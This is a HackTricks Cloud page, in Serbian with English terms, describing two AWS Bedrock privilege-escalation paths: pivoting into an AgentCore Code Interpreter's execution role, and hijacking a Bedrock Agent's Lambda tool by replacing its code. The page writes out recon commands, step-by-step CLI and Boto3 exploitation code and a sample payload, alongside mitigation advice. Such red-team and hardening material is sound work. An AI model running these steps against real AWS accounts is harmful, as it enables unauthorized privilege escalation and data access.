AWS - Bedrock PrivEsc
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter je managed execution environment. Custom Code Interpreters mogu se konfigurisati sa executionRoleArn koji „provides permissions for the code interpreter to access AWS services”.
Ako lower-privileged IAM principal može da start + invoke Code Interpreter session koja je konfigurisana sa more privileged execution role, pozivalac može efikasno da uradi pivot u permissions execution role-a (lateral movement / privilege escalation u zavisnosti od scope-a role-a).
Note
Ovo je tipično misconfiguration / excessive permissions problem (dodeljivanje širokih permissions execution role-u i/ili dodeljivanje širokog invoke access-a). AWS eksplicitno upozorava da se izbegne privilege escalation tako što će se obezbediti da execution roles imaju jednake ili manje privileges od identities kojima je dozvoljeno da invoke-uju.
Preconditions (common misconfiguration)
- Postoji custom code interpreter sa over-privileged execution role (npr. access do osetljivog S3/Secrets/SSM ili IAM-admin-like capabilities).
- User (developer/auditor/CI identity) ima permissions za:
- start sessions:
bedrock-agentcore:StartCodeInterpreterSession - invoke tools:
bedrock-agentcore:InvokeCodeInterpreter - (Optional) User takođe može da kreira interpreters:
bedrock-agentcore:CreateCodeInterpreter(omogućava da kreira novi interpreter konfigurisan sa execution role-om, u zavisnosti od org guardrails).
Recon (identify custom interpreters and execution role usage)
List interpreters (control-plane) and inspect their configuration:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
Naredba create-code-interpreter podržava
--execution-role-arnkoji definiše koje će AWS permisije interpreter imati.
Korak 1 - Pokreni sesiju (ovo vraća sessionId, ne interaktivni shell)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Korak 2 - Invoke code execution (Boto3 or signed HTTPS)
Ne postoji interaktivni python shell iz start-code-interpreter-session. Izvršavanje se dešava preko InvokeCodeInterpreter.
Option A - Boto3 primer (izvrši Python + proveri identitet):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
Ako je interpreter konfigurisan sa execution role-om, izlaz sts:GetCallerIdentity() treba da odražava identitet te role (ne identitet low-priv caller-a), što pokazuje pivot.
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Impact
- Lateral movement u whatever AWS pristup interpreter execution role ima.
- Privilege escalation ako je interpreter execution role privilegovaniji od pozivaoca.
- Teže otkrivanje ako CloudTrail data events za interpreter invocations nisu omogućeni (invocations možda nisu logovani podrazumevano, u zavisnosti od konfiguracije).
Mitigations / Hardening
- Least privilege na interpreter
executionRoleArn(tretiraj ga kao Lambda execution roles / CI roles). - Restrict who can invoke (
bedrock-agentcore:InvokeCodeInterpreter) i ko može da pokreće sessions. - Koristi SCPs da zabraniš InvokeCodeInterpreter osim za odobrene agent runtime roles (org-level enforcement može biti neophodan).
- Omogući odgovarajuće CloudTrail data events za AgentCore gde je primenljivo; alarmiraj na neočekivane invocations i kreiranje sessions.
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda
Bedrock Agents mogu da koriste Lambda-backed action groups kao tools (external execution). Ako principal može da izmeni code Lambda function koju agent koristi, a zatim može da invokeuje agenta, može da izvrši attacker-controlled code pod Lambda execution role.
Note
Ovo je cross-service trust abuse (Bedrock → Lambda), ne vulnerability. Attacker možda neće moći direktno da invokeuje Lambda, ali i dalje može da je pokrene preko agenta.
Preconditions (common misconfiguration)
- Postoji Bedrock Agent sa action group backed by a Lambda function
- Attacker ima:
lambda:UpdateFunctionCodebedrock:InvokeAgent- Lambda execution role ima šire permissions nego attacker
- Attacker može da identifikuje Lambda koju agent koristi
Recon
Enumerate agent action groups:
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Inspect Lambda:
aws lambda get-function --function-name <FUNCTION_NAME>
Eksploatacija
Replace Lambda code:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
Primer payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
Trigger via agent:
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
Uticaj
- Privilege escalation u Lambda execution role
- Data exfiltration iz AWS services
- Cross-service abuse preko trusted agent execution
Mere ublažavanja
- Restrict
lambda:UpdateFunctionCode - Koristite Lambda role sa least-privilege
- Monitor promene Lambda koda
- Audit upotrebu alata Bedrock agenta
References
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

